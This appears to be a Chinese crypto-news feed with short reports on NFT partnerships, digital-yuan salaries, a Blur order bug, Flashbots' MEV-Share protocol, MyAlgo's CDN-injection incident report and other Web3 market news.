Friends母公司IPX建立战略合作伙伴关系，共同打造Beanz NFT IP。 Line Friends原是为社交软件Line提供聊天对话使用的表情包卡通形象，后期发展成为一个IP运营平台IP，打造了知名的Brown布朗熊、Cony兔兔、Sally小黄鸡等IP形象，业务包含线下商店、游戏、动画、主题乐园、咖啡店等。2022年，宣布将其更名为“IPX”，表示企业将会把重点放到数字IP商业生态系统打造中。 Line Friends IP Beanz NFT被译为“小豆子”，2022年4月由Chiru Labs推出，Beanz是一种从花园的泥土中发芽的小物种，被赋予了“Azuki的伙伴”人设，用他们的滑稽动作为Azukis增添趣味。Beanz NFT代表成员有红豆Toshi、和蓝豆Gus、黑豆Link、小扁豆Tao、咖啡豆Johny C等，每个小豆子从服装、头饰、鞋子、手部道具等装扮形象各有不同。该系列发行总量为2万个，其中1万个空投给Azuki NFT的持有人。 Beanz NFT 由此可见，Azuki和Beanz已经成为Chiru Labs主要的两大NFT品牌，。Beanz系列知名度虽远远不如Azuki，但从和IPX合作来看，Beanz将成为该团队重要的运营打造品牌。 Chiru Labs和IPX计划通过各自的资产进行合作，联合推出一些内容、商品和活动等，如可能会有一些Beanz元素玩偶类商品在Line Friends零售店销售。 首次合作将以Line Friends角色与Beanz融合为特色。其中，Beanz在2月份推出的名为“Jay”和“Jelly”新好朋友角色将成为本次合作重点打造的对象。 为了庆祝本次合作，Chiru Labs和IPX联合推出了带有Line Friends元素的“kigu装备”—Brown布朗熊、Sally小黄鸡连帽运动衫等，Beanz NFT持有人可将这些服装穿在NFT形象上，会展示出一个新Beanz形象。 穿着Line Friends元素的Beanz NFT 此外，两家公司将从合作之日其开始在纽约时代广场Line Friends商店上方的视频广告牌上播放Beanz相关的动画短片。 这一举动，让用户开始不断猜测，未来Azuki可能会与Line Friends有更多的商业活动，比如可能会扩展至其它合作IP角色上，甚至联名推出一些玩偶等，这对于Azuki和Beanz两大NFT来说是巨大利好。 受此消息影响，根据NFTGO显示，当日Beanz NFT 24小时内交易量暴涨512.5%，地板价突破1.54ETH，最高曾冲至1.78ETH，涨幅超过10%；Azuki NFT交易量激增350%，地板价来到14.7ETH。 截至4月21日，Beanz市值为5861万美元，地板价为1.5ETH，约为2925美元，24小时交易量为113万美元，持有地址数为7385。Azuki市值为3.7亿美元。 与品牌Line Friends跨界合作并不是Azuki的第一次探索。在这之前，Azuki就在国内的Web2互联网平台频频露头，如与B站合作、入驻小红书等。 今年1月，Azuki官方宣布与B站（Bilibili International）合作探索动漫与媒体内容的Web3创新。Azuki、Beanz和Bilibili海外授权发布的NFT项目Cheers up持有人将解锁专属福利，支持用户将其头像换成持有的NFT，并获得钻石标签，即可在B站上找到Azuki的同好。此外，Cheers UP和Beanz还联合设计了相关元素的表情符号包，供持有者在Bilibili应用程序中评论和Discord中使用。 在当时，Azuki与B站的合作被认为是品牌出圈的好机会，获得了一大波用户支持。不过，随着CheerUp NFT项目的走凉，B站对Azuki的资源扶持也消失了，如今，在B站的国际已经检索不到Azuki相关的信息了。 在这之前，去年12月，Azuki的中文社区“红豆花园”宣布入驻小红书开通账号，其中小红书的数字藏品R-Space将会提供相关资源扶持，比如Azuki NFT持有用户可将头像设置为NFT的形象，并在个人主页中的数字藏品空间R-Space展示其持有的NFT。尽管不是Azuki的官方账号，但在合作初期在小红书官方资源的扶持下，也吸引了不少用户关注。但随着国内数藏市场的转凉，用户关注度也随之下降，Azuki中文社区的小红书账号最后一条内容更新时间停留在今年1月23日。 从Azuki与B站、小红书等Web2平台跨界合作最终运营结果来看，并不尽如人意。用户怀疑与Line Friends的合作会不会步入与B站合作的后尘，都是红在开局，惨淡落幕。不过，也有用户对此有不同的看法，无论是合作结果如何，Azuki项目方至少都在一直探索新的赋能方式，这种精神值得每个NFT项目方学习。 Azuki频繁跨界合作的背后，主要是原因是NFT市场寒冷用户增长停滞，试图通过与Web2企业合作让NFT出圈，让虚拟的Web3项目延展至真实世界，吸引更多潜在的用户。 目前，由于加密市场的熊市，NFT市场热度已经降至冰点。Moonbird、CoolCat、Doodles等蓝筹项目的地板价不断下挫，虽然在放出利好消息时有过短暂回升，但仍然无法扭转下跌局势。根据NFTGo的蓝筹指数（BlueChipIndex）显示，该指数自2022年4月14526高点后一直处于下跌的趋势，当前处于8000点以下。截至4月21日，NFT市值为220亿美元，相较于高峰期的340亿美元，已缩水了36%，近30天内NFT市场交易量为12.7亿美元，环比下降了34.8%。 此外，之前大张旗鼓宣布支持NFT或元宇宙发展的知名实体企业也开始缩减相关业务预算，如3月底，迪士尼宣布解雇元宇宙部门全部成员；Meta旗下的Facebook、Instagram社交平台已于4月11日正式停用对NFT展示相关支持功能等。 当泡沫褪去，用户也更关注NFT本身的价值及资源赋能方式。在NFT市场发展停滞的情况下，NFT项目想要保住蓝筹的位置就需要想办法自救，如发行代币或新NFT。 4月18日，Moonbirds月鸟NFT宣布推出奖励代币TALONS，NFT持有者可每天通过“nesting筑巢”累积该代币。未来了使用代币竞标白名单、独家商品福利等；4月21日，Cool Cats宣布推出新生态NFT系列“Shadow Wolves”，该NFT被归类为“Super Cool”会员，是Cool Cats生态系统的扩展。 不过，宣布消息的当天Moonbird地板价并没有变化，反而有下跌趋势，如今为2.9ETH；Cool Cats地板价还出现了下跌，现为0.8ETH。从这些NFT项目市场关注热度、地板价和交易量变化来看，社区用户对此并不买单。 如何打破情绪拉盘、真正获得持续增长困局，仍是NFT项目方和社区用户需要长期面临的难题。  ( 2 min )
    常熟市在编及国资单位人员5月份工资用数字人民币发放
    PANews 4月22日消息，据中国基金报报道，常熟市在编公务员事业人员及国资单位人员，5月实行工资全额数字人民币发放。一份文件显示，常熟市地方金融监督管理局和常熟市财政局日前印发《关于实行工资全额数字人民币发放的通知》。该通知称，从5月开始对常熟市在编公务员(含参公人员)、事业人员、各级国资单位人员实行工资全额数字人民币发放。 早在17日，常熟市召开全市数字人民币试点工作专题推进会，其中提到，今年以来江苏省启动全域数字人民币试点。此外，3月6日，工商银行江都支行2日成功落地扬州首笔数字人民币代发工资业务，为人民银行江都支行职工合计发放22笔工资和补贴。  ( 1 min )
    Blur现已禁用“接受挂单价”功能，以应对“历史挂单仍自动执行”漏洞
    PANews 4月22日消息，据社区用户反馈，Blur目前已禁用“接受挂单价”（BID ACCEPTS）功能，以应对该平台上出现的“历史挂单（已过期或已取消）仍自动执行”的BUG。NFT收藏者dingaling提醒用户及时撤出资产，因为Blur目前出现了一种“历史挂单仍自动执行”的BUG，很多地址对Azuki系列NFT的历史挂单都生效了，有一个地址在该系列NFT地板价在15 ETH的时候，触发了9个15.52 ETH的挂单。  ( 1 min )
    数据：Clairvoyant Labs于2小时前从OKX提出170万枚BLUR至链上
    PANews 4月22日消息，据推特用户余烬监测，被标记为Clairvoyant Labs的地址在2小时前从OKX提出170万枚BLUR（约100万美元）至链上。据悉，Clairvoyant Labs在前些时间还从币安提出14862枚COMP（约58 万美元）和590枚 MKR（约41万美元）。  ( 1 min )
    数据：超过三分之一的加密TikTok视频具有误导性
    PANews 4月22日消息，据Cointelegraph报道，根据DappGambl研究显示，超过三分之一的加密TikTok视频具有误导性。其中，47%的TikTok创作者试图通过推动服务来赚钱，包括 Kim Kardashian、Jake Paul和Soulja Boy在内的主流创作者。此外，带有加密相关标签的TikTok视频，例如crypto、cryptok、cryptoadvice、cryptocurrency、cryptotrading和cryptoinvesting，累计产生了超过 60 亿次观看。  ( 1 min )
    数据：蔡文胜相关地址将1万枚ETH存入Compund，后借出320万枚USDC转入币安
    PANews 4月22日消息，据推特用户余烬监测，被标记为蔡文胜朋友的地址将1万枚ETH存入Compound，然后借出320万枚USDC转入币安。该地址去年循环借贷买ETH，6月ETH跌至880美元时，20余万枚ETH就差数十美元清算。此后，在ETH价格为1000至1200美元时，该地址开始做ETH现货波段。  ( 1 min )
    夹子末日来了？一文速览用户可参与分成的Flashbots新协议MEV-Share
    原文：《三分钟速览 Flashbots 新协议 MEV-Share，用户可参与 MEV 收益共享》 撰文：Peng SUN，Foresight News MEV（Maximal Extractable Value，最大可提取价值）是指 MEV 搜索者、区块构建者对未打包的交易进行排序后可提取的经济收益。在相当长的时间内，MEV 臭名昭著，它被认为是链上套利交易的总称，MEV 搜索者往往会和验证者合作寻找潜在套利机会。在众多 MEV 攻击类型中，最糟糕的要数抢跑交易与三明治攻击，给用户与以太坊网络造成巨大损害与负外部性。 MEV 是区块链网络的固有组成，其收入也一直流入 MEV 搜索者、区块构建者、区块提议者与以太坊网络，但作为 MEV 的直接来源与最大受害者，以太坊用户、钱包与 DApp 等订单流发起者却无法参与 MEV 收入共享。鉴于此，以太坊基础设施服务 Flashbots 也在探索一种 MEV 收益共享的解决方案，并于昨日推出 MEV-Share 协议的测试版，旨在将 MEV 收益的一部分分配给以太坊用户。 MEV-Share 是一个开源协议，它使用隐私和承诺来促进用户 / 订单流提供者和 MEV 搜索者之间的无许可合作。订单流聚集在 MEV-Share 中，既能削弱以太坊网络中专有订单流的中心化程度，也可以允许用户、钱包与 DApp 等其他订单流来源参与 MEV 收入共享。 MEV-Share 协议引入「Matchmaker」，可以将用户交易与 MEV 搜索者交易包（bundles）进行匹配，使搜索者能够进一步优化其 MEV 捕获工作。 Flashbots 在以太坊主网上运行 Matchmaker，Matchmaker 有接收交易和交易包（bundle）的端点，以及一个向搜索者发送待定事件 / 交易的 SSE 事件流（Event Stream）端点。具体来说，用户在将其交易提交给 Matchmaker 后，Matchmaker 会有选择地与搜索者分享其中的交易信息，搜索者则通过 SSE 端点监听与接收新事件流。随后，搜索者为 Matchmaker 提出交易，将其与用户交易一起打包（bundle）。目前，Flashbots 只支持尾随交易（backruns），它会将用户交易与每个有效的搜索者尾随交易进行打包，并转发给区块构建者。区块构建者将选择获胜的交易包，并将搜索者尾随交易（backrun）利润中一部分返还给用户。 如果没有提交有效的尾随交易，该交易将被视为普通的保护交易，并获得 Flashbots Protect 的所有优点，包括抢跑保护、没有失败的交易等。 MEV-Share 协议包含在 Flashbots Protect 中。Flashbots Protect 是一种可以与用户钱包集成的 RPC 工具，旨在抵御试图通过抢先用户交易获取利润的机器人。在 Flashbots 文档中，用户可直接点击「Connect Wallet to Protect」通过 MetaMask 连接到 Protect RPC。 Flashbots Protect 用户的交易会自动流向 Flashbots Matchmaker，后者会将其交易产生的 MEV 收益的 90% 返还给用户，用户无需执行任何操作。默认情况下，连接到 Protect 的用户将启动具有 Stable 配置的 Matchmaker，该配置由 Flashbots 持续调整，以优化交易执行，同时保护用户免受有害的 MEV 攻击。 此外，钱包、DApp 开发者还可以使用 MEV-Share Matchmaker 客户端库的语言进行编码，将交易直接发送给 Flashbots Matchmaker 或发送私人交易到 Matchmaker API。 MEV Share 最大的特点就是允许用户调整隐私设置和管理订单流共享，从而防止抢跑交易，并且有选择地与 MEV 搜索者共享交易信息，既可以获得「MEV 再分配奖励」，也能保证基本的隐私。 Flashbots Protect RPC 不跟踪任何类型的用户信息（IP、位置等），也不会存储与记录任何用户信息。Flashbots Protect 上的 MEV-Share 用户可以使用自定义的隐私配置，其中参数包括提示（Hints）与目标构建者（Target Builders）。通过多次指定提示，可以准确指定用户交易中的哪些数据字段与 MEV-Share 上的搜索者共享。共享较少的数据将增强隐私，而贡献较多的数据将提高交易被快速执行与获得 MEV 收入的机会。目前，可以共享的信息包括 calldata、日志、function_selector、合约地址、交易哈希等。 在默认情况下，Matchmaker 不会与搜索者共享交易哈希以外的交易信息。如果用户需要完全的隐私，则可以在 Protect RPC URL 中添加「hash」提示，即「https://rpc.flashbots.net?hint=hash」。此举将完全隐藏发送给搜索者的 Matchmaker 的所有识别交易的数据，交易哈希不能用于获取有关交易或其他来源的任何信息。 如果用户需要最快的执行速度与最多的 MEV 收入，那么在低隐私的情况下可以共享 calldata、日志、function_selector 与合约地址，即「https://rpc.flashbots.net?hint=calldata&hint=logs&hint=function_selector&hint=contract_address&hint=hash」。更多需求与配置细节可参考： 同时，用户也可以指定目标构建者，指定向哪些区块构建者发送交易。目前，MEV-Share 支持「Default builders」与「Flashbots」两个目标构建者。值得注意的是，添加其他构建者可以使用户交易更快、更可靠地上链，但 Flashbots 并不控制其他构建者的运作方式，也不会对其行为作出保证。 总体来看，Flashbots 遵循了 Eric Huges 在《密码朋克宣言》中的表述：「隐私（privacy）不是秘密（secrecy）。隐私是一个人不想让整个世界知道的事情，但秘密（secret）是一个人不想让任何人知道的事情。隐私是有选择地向世界展示自己的权力。」Flashbots 在保证最基础的隐私条件下，允许用户定制化请求，与搜索者共享其他信息。 此外，对于倾向应用层的用户来说，需找到正确的提示，提出最适合自己的指令，在隐私与效率之间实现某种平衡。 Flashbots Matchmaker 是 MEV-share 协议的一个实现，团队正在设计整个协议的标准接口。此外，Flashbots 团队依然在进一步探索新的改进。譬如，为用户提供可定制的 MEV 收入返还比例，允许指定 MEV 收入的接收人，更多的隐私设置与每个协议的默认值，以及更好的执行偏好，允许搜索者提交包含更多简单尾随交易的交易包。 需要注意的是，Flashbots Matchmaker 正处于测试阶段，Matchmaker 服务可能会遇到服务中断，并在试用阶段可能会出现 API 中断。  ( 3 min )
    以太坊核心开发者：EIP-4844的第五个开发测试网将于下周启动
    PANews 4月22日消息，Galaxy研究副总裁Christine Kim发文总结第107次以太坊核心开发者共识（ACDC）会议，本次会议在对上海升级的成功进行简短确认后，便开始讨论Deneb（即EIP-4844）的准备工作。其中，以太坊核心开发者Tim Beiko表示，EIP-4844的第五个开发测试网将于下周某个时候启动。开发者讨论了在链重组事件中如何将blob交易重新插入区块中的问题，对此Danny Ryan提出了两种解决方案：让共识层将每个区块的blob数据传递给执行层或者让用户重新提交交易。针对前者，开发者展开了讨论并谈及数据可用性抽样DAS实现将使该假设方案失效，不过由于会议缺少执行层客户端相关代表，所以问题将留待下周执行层开发者会议讨论。与此同时，共识会议上，开发者拟将EIP-4788与3175和EIP-4844一起纳入Deneb升级。关于EIP-6914，开发者同意继续敲定代码更改细节，并将其实施推到Deneb之后的硬分叉。此外，开发者讨论了信标链认证子网（attnets），Lighthouse（CL）客户端团队的Adrian Manning提出了一个将验证者节点订阅到长期的attnets解决方案，并表示此更改不必通过硬分叉来执行。据此前消息，在2023年首次以太坊核心开发者会议上，开发者同意将上海升级之后的Cancun升级专注于EIP-4844。  ( 1 min )
    数据：今年第一季度Web3初创公司所获风投金额同比下降82%
    PANews 4月22日消息，Crunchbase的数据显示，今年第一季度对Web3初创企业的风险投资金额同比下降82%，从2022年第一季度的91亿美元下降到17亿美元，创2020年第四季度以来Web3公司融资金额新低。与此同时，交易总数也出现了显著下降。2023年第一季度记录了333笔交易，同比下降约33%。此外，在2022年第一季度，Web3共完成29轮金额超过1亿美元的融资，而在今年第一季度，只有两轮融资超过1亿美元。  ( 1 min )
    MyAlgo公布攻击事件报告：攻击者利用CDN API密钥注入恶意代码
    PANews 4月22日消息，MyAlgo推特公布关于此前攻击事件的报告。报告称，攻击者利用可能CDN API密钥，通过中间人攻击在实际的http://wallet(.)myalgo(.)com网页端和用户之间注入恶意代码。尚不清楚CDN API密钥是如何获得的，在MyAlgo代码库中没有发现攻击或漏洞证据，没有证据表明CDN用户账号被泄露。此外，CDN审计日志中没有证据能够表明曾创建了可以发动此攻击的密钥。审计日志覆盖18个月，而受影响的帐户是19个月前创建的，但这个账户直到2022年10月（6个月前）才被使用。这增加了一种很低的可能性，即日志丢失或API密钥是在19个月前获得的，从而避开了日志记录。另外，攻击者（针对特定版本的MyAlgo）于1月21日上传恶意代码，攻击一直持续到2月中旬新版本MyAlgo发布。执法部门和安全专业人员将继续调查，收集更多信息，以帮助阐明攻击细节。据链上数据分析师ZachXBT此前发布的推特，由于2月19日至21日Algorand生态钱包MyAlgo遭受攻击，Algorand上可能有超过920万美元资产（1950万枚ALGO、350万枚USDC等）被盗。  ( 1 min )
    Coinbase CEO：国会应介入制定明确的加密监管法规
    PANews 4月22日消息，Coinbase首席执行官Brian Armstrong在推特发文称，“今天与美国证券交易委员会（SEC）会面。我们将继续推动在美国制定明确的加密监管法规。美国不能在这项更新金融系统这项重要技术上落后。与此同时，监管机构需要先制定政策再执行，在有明确的规则之前不要强制执行。在这一点上，似乎国会需要介入。”  ( 1 min )
    获得Binance Labs等种子轮融资，链游开发商GOMBLE有何来头？
    4月20日，Binance Labs宣布已承诺投资基于区块链的韩国休闲游戏开发商GOMBLE的种子轮融资。除了Binance Labs，Animoca Brands、Polygon、Aptos、Spartan、Shima capital和Crit Ventures等也参与了GOMBLE此轮融资。这家传统游戏公司推出的链游开发商为何能获得加密资本的青睐？ GOMBLE的母公司是位于韩国的一家知名小型游戏开发商111 Percent，其推出的代表性的游戏包括Random Dice: GO、RandomDice: Defense、BBtan系列等。根据应用分析平台Apptopia数据显示，过去30天，111 Percent旗下游戏的下载量超100万。111 Percent的前首席运营官Jihoon Byun担任GOMBLE CEO，其他核心成员在Google、Kakao Brain、SK Telecom等公司有着丰厚经验。 根据官方介绍，GOMBLE推出的3A级社交游戏Rumby Stars主要解决当前Web3游戏面临的以下问题：（1）大部分游戏将NFT资产作为参与的硬性条件，造成较高的准入门槛；（2）游戏难度过高，让追求休闲娱乐的玩家望而却步；（3）拥有好装备和物品的玩家可能会给新用户带来不公平的竞争环境。 鉴于以上问题，Rumby Stars旨在创建一款适合所有年龄段和技能水平的休闲游戏，在降低付费类游戏带来的高门槛的同时，给玩家提供身临其境的游戏体验，打破Web3广泛应用的阻碍。作为一款需要团队合作的4v4比赛的终极多人战略休闲街机游戏，Rumby Stars包含三个方面，分别为Rumby NFT、Rumby Game和Web3 Components（组件）。 Rumby NFT可提供特殊会员资格，每个NFT基于自身的稀有性和所属类型（WonderLand、Spooky Land、Paradise、Treasure Planet、Restricted-X）具有不同的属性，但基本技能均是相同的，玩家可在NFT Market购买或进行升级。 Rumby Game包含多种PVP游戏，持有NFT的玩家在参与游戏后需在随机三种类型的游戏中获得两轮胜利，便可获得有数百万种可能的Rumby NFT、零件和物品组合，当然每种游戏模式都有着独特的获胜方式。Rumby锦标赛则允许用户组队比赛并在奖励系统赢取治理代币$CRT，可用于购买NFT、锦标赛通行证和游戏内物品。 Web3 Components则没有门槛要求，允许玩家在没有持有NFT的情况下免费参与，玩家未来有机会在游戏中赢取Rumby NFT和特殊皮肤，具体游戏类型官方尚未公布。 另外，根据官方公布的路线图显示，GOMBLE已完成十多款游戏的开发，并在今年开启Rumby Stars的软启动、竞标赛、私募融资、白皮书发布、Rumby NFT铸造和NFT市场公测等。而在获得种子轮融资后，GOMBLE将利用这笔资金开发和发行其首款手机游戏《Rumby Stars》，计划将于今年第二季度在东南亚市场发布，并将继续使用游戏即服务 (GaaS) 模式扩展其游戏平台。 “与现有专注于硬核游戏的链游不同，GOMBLE旨在以轻松有趣的休闲游戏瞄准全球市场，即使是非专业游戏玩家也可以参与。从《RumbyStars》开始，GOMBLE将致力于为世界各地的用户提供愉快的体验，并在未来提供更多样化的游戏。”Jihoon Byun如是表示。  ( 2 min )
    买Web3手机，交智商税？
    文：章鱼哥 出品：陀螺财经 随着区块链技术的不断发展和应用，Web3手机逐渐走入人们的视野。Web3手机是一种基于区块链技术的智能手机，具有诸如去中心化、匿名化、加密等功能，可以提供更安全、更私密、更自主的用户体验。目前Web3手机市场的发展趋势如何呢？ 早在2021年，三星便宣布旗下Galaxy机型支持加密硬件钱包，在Galaxy S10上，该公司就已经提供了区块链密钥库，以便用户将加密货币安全地存储在设备上。此后HTC推出元宇宙手机Desire 22 Pro，配备了数字资产钱包和虚拟现实 (VR) 耳机配对功能，作为其Web3扩展的一部分。可以看出目前在Web3手机领域已有传统手机厂商涉猎布局。 在加密原生领域，Solana Labs子公司Solana Mobile在上周召开新品发布会，正式推出Web3智能手机Saga。发布会上，Solana Mobile宣布参与预购活动的用户目前可以下单订购，其余用户可以于5月8日后订购。趁着新机发布的热度，来聊一聊Saga以及Web3手机的未来。 图源Solana Mobile官网 目前虽暂未有订购用户收到实机，但从官网以及拿到真机的外媒所释出的信息显示，Saga手机的尺寸为164毫米*75.3毫米，重247克，与iPhone 14 Pro Max大小相当，但重量略重。机身采用光滑的陶瓷后盖和不锈钢框架，摄像头模组采用独特的三角形设计，搭配50MP+12MP双摄模组。与目前主流手机的外形设计相比，其质量较重，厚度偏厚，但后盖设计令人耳目一新。 图源Solana Mobile官网 其次是在硬件配置上，Saga采用高通骁龙8+Gen 1处理器，正面6.67英寸的120Hz OLED屏幕，12GB LPDDR5内存、512GB UFS储存、4110 mAh电池、Qi无线充电、IP68防尘防水。除此之外，Saga智能手机还支持micro SD扩展到512GB。 整体来看，其配置与当下主流的手机配置相差不大，但处理器未使用最新款的骁龙8+Gen 2，而1000美元的售价也并不实惠 ，显然其定价的自信来自于Web3的附加功能上。 图源Solana Mobile官网 Saga的具体功能是围绕Seed Vault构建的。Seed Vault通过指纹传感器与用户的生物识别签名相关联，其实质是一种托管解决方案，可在手机的安全环境中保护用户钱包的助记词，即使是换一台安卓手机也无法访问。 在以Seed Vault为核心的Web3技术架构的支持下，厂商希望为用户带来更为丰富的移动应用软件和更为强大的功能。 基于Seed Vault的安全基础，Saga开发了一个dApp应用商店，用户可下载dApp，无需打开另一个浏览器扩展程序便可实现跨dApp无缝交易。虽然目前可支持的应用数量较少，但相较于传统智能手机而言，其使用体验更为流畅、便利。如使用加密货币钱包时，其在做到硬件加密的基础上，只需要通过验证指纹和偶尔输入PIN密码就可以轻松完成。 此外，基于Android的开源软件Solana Mobile Stack可用于Solana上开发原生Android Web3应用程式。 但在dApp的使用过程中，有参与体验的用户反映其存在指纹传感器识别不灵敏的问题，而在利用dApp Minty NFT制作属于自己的NFT时，经常会出现BUG。 尽管存在BUG和瑕疵，但在Solana Saga上使用加密货币和NFT进行交易无疑是要更快、更轻松的。通常，在手机上运行dApp、交易加密货币的体验令人沮丧，但Saga的用户体验无疑是更进一步的，在这一点上，恰恰体现了Solana向“Web3原生手机”发起冲击的野心。 它试图培养一个去中心化的手机生态系统，该生态系统不依赖于苹果和谷歌等大型科技巨头，也不需要向其支付30%的销售分成，30%的分成对于中小开发者是不友好的，可能会严重打击生态开发者的热情，阻碍Web3移动应用程序的发展。 这是一个很大的转变，但也冒着很大的风险。如果Saga没有找到足够多的受众来支持这样的手机dApp生态系统，这对Solana Labs以及Saga来说可能代价是高昂的。 对于Web2巨头来说，Saga几万台的销售水平并不会对它们产生威胁，但如果它能促使开发者开发原生于手机的dApp，那么也许它会带来更多面向Web3 群体的价格实惠的同类竞品，也会有更多令人信服的购买理由。 长远来看Web3手机市场是具有较高潜力的。区块链技术的不断发展，以及全球数字化程度的提高，都为Web3手机市场的发展提供了有利的条件。在数字货币和加密资产的快速崛起的同时，Web3手机也将成为数字资产存储和交易的重要平台。此外，智能合约等功能的加入也将使Web3手机成为更加全面和强大的工具。 Web3手机市场的未来竞争恐将会更加激烈。随着市场需求的不断扩大，各大传统厂商将会纷纷涉足Web3手机市场。例如前文提到的三星、HTC等等。 但Web3手机市场目前亟需解决技术和应用难题。由于Web3手机需要更高的技术要求和更加全面的安全保障，因此其生产成本和销售价格也会相应提高。同时，用户对于Web3手机的实际需求和使用场景也需要进一步开拓。因此，Web3手机生产商需要在技术创新和市场拓展上下功夫，才能真正实现市场的发展和壮大。 Web3手机市场的发展趋势不可忽视。随着技术的不断进步和市场需求的不断扩大，Web3手机市场将会呈现出更加广阔的前景和更加多元化的应用场景。同时，Web3手机生产商也需要在技术和市场方面做好充分准备，才能真正抓住市场机遇，实现更大的商业价值。 手机是如今许多人离不开的智能设备，而Web3是虚拟现实结合的领域，目前来看手机是Web3时代移动互联网转变中最简单、最有效率的载体。所以无论是Solana还是传统厂商，都在选择拥抱Web3，将硬件与应用结合。 总的来说Web3手机长远来看并不是智商税，它基于区块链技术构建，具有较高的安全性和去中心化特性，可以更好地满足一些数字资产交易和隐私保护方面的需求。 当然，像任何新兴技术产品一样，Web3手机也面临着一些挑战和不确定性，例如市场认可度、技术成本、用户体验等方面。消费者在购买时需要进行充分的研究和了解，确保自己的需求与产品的功能相匹配，以避免花费过多的资金购买没有实际价值的产品。  ( 2 min )
    深圳数据交易所与蚂蚁集团签订合作框架协议，推进区块链和AI技术研究合作
    PANews 4月22日，据界面新闻报道，4月20日，深圳重大交易平台推介会在杭州举行。会上，前海联合交易中心、电子元器件和集成电路国际交易中心、深圳国际珠宝玉石综合贸易平台、深交所科技成果与知识产权交易中心、深圳数据交易所等五大交易平台集中亮相。当天，深圳数据交易所与蚂蚁科技集团、华东大数据交易中心、阿里巴巴集团、浙江省大数据联合计算中心有限公司、郑州数据交易中心战略签约。其中，深圳数据交易所与蚂蚁集团签订合作框架协议，双方将在包括共建共享高价值数据合作渠道，开展数据合规专项研究，推进区块链、隐私计算、AI等技术研究和互联互通等方面合作。  ( 1 min )
    Do Kwon律师：SEC指控Do Kwon与Terraform Labs进行证券欺诈没有依据
    PANews 4月22日消息，据彭博社报道，前Terraform Labs首席执行官Do Kwon的律师表示，美国证券交易委员会（SEC）指控Do Kwon与Terraform Labs Pte进行证券欺诈的诉讼没有根据，部分原因是所涉稳定币是一种货币，而不是证券。该律师周五在请求法官驳回诉讼时表示，美国法律禁止监管机构“在这种情况下使用联邦证券法来主张对数字资产的管辖权”。据此前消息，今年2月，SEC起诉Do Kwon和Terraform Labs，指控他们非法发行未经注册的证券并多次误导和欺骗投资者。上个月，Do Kwon因伪造护照在黑山被捕入狱，随后美国和韩国都要求将其引渡。  ( 1 min )
    一周精选丨Sui主网上线在即，多家平台将进行公募；RWA赛道起势；欧盟、美国均发布加密相关法案
    PANews编者按：PANews精选了一周的优质内容，帮助大家利用周末时间查漏补缺，点击标题即可阅读。 Sui对标Aptos至少涨10倍？速览如何参与代币销售？ 新公链Sui在设计和技术上别具一格，收获了媒体和资本大量关注。日前，Sui发布了代币社区访问计划，本文带你一览参与方式。 主网上线进入倒计时，如何快速了解Sui Network？ Sui 是一个layer1 的区块链，这意味着它是一个基础级别的区块链，其软件运行在一组独立维护的「validators」验证者上。 专访公链Sui创始人Evan Cheng：尚无计划融C轮，加密初创公司融资受到AI挤压 FTX倒闭、加密友好银行破产、AI火爆全球抢走了加密货币初创公司的部分融资额度，诸多事件影响下，Sui创始人Evan Cheng怎么看当下的市场。 SUI公募核心问题：为什么没上币安Launchpad？ 为什么Aptos 获得了币安巨大的首发支持，而SUI 却没选择币安Launchpad首发？ 想了解更多Sui公链内容，请加入专题：MOVE语言发明者，探索新公链Sui 2023香港Web3嘉年华小作文合集：华人Web3迎来“黄金时代”？ 本文整理了加密圈知名大V及创业者在香港嘉年华中的所闻所悟，供大家阅读。 万向区块链肖风：Web3应用的三代币模式及价值（全文） 当区块链走向应用的时候，单一的Token模型便不再适用。 对话Cobo神鱼：明年比特币减半叙事值得期待，去中心化技术枝繁叶茂 “在叙事框架里，大概率今年 Q4 到明年应该还有一轮减半行情。” 港交所报告解读：ETF与全球金融市场虚拟资产生态圈的发展 2023年4月，香港交易所官方发布了一份名为《ETF与全球金融市场虚拟资产生态圈的发展》的研究报告。 加密货币市场的5个积极看涨信号 在以太坊网络上周成功进行Shapella升级后，ETH今年已经上涨了75%以上。比特币和以太坊都突破了其熊市交易区间，山寨币似乎准备好了要开始震荡。 复盘PEPE和AIDOGE暴涨背后，我们如何与meme币共舞 本文PANews将为你详解近期meme季现象级项目的特点，以及后续如何抓住机会并规避可能的风险。 币安研究院报告：现实世界资产代币化RWA ，嫁接TradFi与DeFi的桥梁 RWA 的叙述对于虚拟资产市场尤其值得注意，因为它是一个更加与现实世界相互关联的例子。DeFi 不再孤立于现实世界和 TradFi。区块链越来越多地拥有现实真实世界的用例，并证明了它作为一种变革性技术的价值。 速览币安Launchpad项目Open Campus：Animoca Brands旗下公司TinyTap的“链改”版 Open Campus实际或是教育平台TinyTap的Web3链改版。 速览《雪崩》作者斯蒂芬森推出的元宇宙公链 Lamina1 Lamina1是基于Avalanche的一个PoS公链，创始人是著名科幻小说《雪崩》的作者斯蒂芬森，Lamina1首次提出了元宇宙公链的概念。 一览入围Binance Labs第6季MVB加速器的12支团队 在超过1500个申请中，最终有12个项目团队顺利入围第6季MVB计划。 揭秘Flow Traders：隐秘的交易商，日益活跃的加密投资机构 低调的传统交易机构Flow Traders，开始频繁地出现在项目投资机构的名单中。 专访DFINITY基金会创始人Dominic：看好香港作为中外的接口，将在港成立ICP亚洲联盟 在接受PANews专访时，他毫不犹豫的道出此次来港原因。与很多参会者一样，Dominic 同样看好香港在Web3发展中的角色和前景，而谈到InternetComputer（IC)，他充满自信地分享了最新进展与给建设者们的建议。 The Block发文爆料DWF Labs，名为投资实为场外交易 近日，DWF Labs与Wintermute的互撕引起社区热议，昨日The Block再度发文爆料DWF Labs的“投资”行径，本文带你一睹为快。 3分钟速览a16z的“L2野心”：基于OP Stack的Rollup客户端Magi a16z 表示，Rollup 客户端还有很长的路要走，a16z 也希望能共同努力，继续推动 Magi 和 OP Stack 生态系统向前发展。 揭秘Web3.0移动钱包新型骗局：模态钓鱼攻击Modal Phishing 一茬接一茬，Web3.0移动钱包又现独特钓鱼攻击手法：Modal Phishing。 苏富比受清算人委托拍卖三箭资本所持NFT，不涉及NFT基金Starry Night资产 苏富比拍卖的GRAILS系列NFT来自于已破产的三箭资本，而旗下NFT基金Starry Night Capital所持资产并不在本轮的清算范围内。 人气下滑头部项目缺席，“NFT届超级碗”NFT.NYC的亮点与遗憾 NFT.NYC 2023的影响力和人气有所下降的同时，多个现实用例也展现出NFT依旧具有强大的创新力和叙事力。 NFT技术趋势是什么？从即将通过的EIP提案略窥一二 本文在此将会把目光聚焦在与NFT相关的并且处于Last call和最近Final阶段的EIP提案。 NFT大鳄黄立成为何突然退圈？或与这2点原因有关 「麻吉大哥」 黄立成宣布退出 NFT 领域，从其推文内容以及近来 NFT 